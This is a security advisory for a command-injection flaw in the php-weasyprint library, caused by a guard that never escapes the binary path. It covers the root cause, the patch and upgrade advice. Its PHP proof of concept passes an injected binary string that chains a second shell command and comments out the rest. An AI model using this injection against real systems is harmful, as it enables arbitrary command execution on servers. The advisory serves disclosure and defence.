CVE-2026-49260: php-weasyprint OS Command Injection via Binary Path
A logic error in php-weasyprint's command builder means the safety check that should quote and validate the WeasyPrint binary path is permanently bypassed, letting any shell metacharacters in that pat
The problem
In `AbstractGenerator::buildCommand()` and the `Pdf` override, the code calls `escapeshellarg($binary)` and then passes the result to `is_executable()`. On POSIX, `escapeshellarg` wraps the string in literal single-quote characters, so `is_executable` looks for a file whose name includes those quotes.
That file never exists.
Because the guard always fails, the ternary falls through to `$binary` raw and unescaped. That string then reaches `Symfony\Component\Process\Process::fromShellCommandline()`, which hands it to `/bin/sh -c`. Any deployment where the binary path comes from config, an environment variable, or a per-tenant setting is a command injection sink.
Proof of concept
<?php
require __DIR__ . '/vendor/autoload.php';
use Pontedilana\PhpWeasyPrint\Pdf;
// Attacker-controlled binary string (e.g. read from config / env / tenant row)
$binaryString = 'weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_marker; #';
$pdf = new Pdf($binaryString);
$pdf->setTimeout(5);
try {
$pdf->generate('about:blank', '/tmp/poc_out.pdf', [], true);
} catch (Throwable $e) {
// WeasyPrint binary call fails but the injected touch already ran
}
if (file_exists('/tmp/php_weasyprint_rce_marker')) {
echo "RCE MARKER PRESENT — injection landed.\n";
} else {
echo "RCE marker absent — injection did NOT land.\n";
}The inverted guard (`is_executable(escapeshellarg($binary))`) is permanently dead code. `escapeshellarg` produces `'weasyprint ...; touch ...; #'` and no file by that quoted name exists on disk, so the check always returns false and `$command` is built with the raw `$binary` value.
The trailing `#` in the injected string comments out the options and output path that `buildCommand` appends, keeping the shell line syntactically valid. The patch (commit `9e86a2b`) rewrites execution to use `new Process([...])` with an argument array instead of `fromShellCommandline`, so the shell is never involved and metacharacters are never interpreted.
CWE-78.
This is the same logic error KnpLabs patched in snappy 1.7.1 (GHSA-vpr4-p6fq-85jc). The vulnerable `buildCommand` was copied verbatim from that codebase and never updated.
The fix
Upgrade to `pontedilana/php-weasyprint` 2.5.1. The patch commit `9e86a2b317237fc5728f712f5037164530117f7e` replaces `Process::fromShellCommandline()` with a direct `Process` array constructor, eliminating shell interpretation entirely. If an immediate upgrade is blocked, ensure the binary path is a hard-coded constant in deployed code and cannot be influenced by config, environment, or user input.
Reported by tonghuaroot.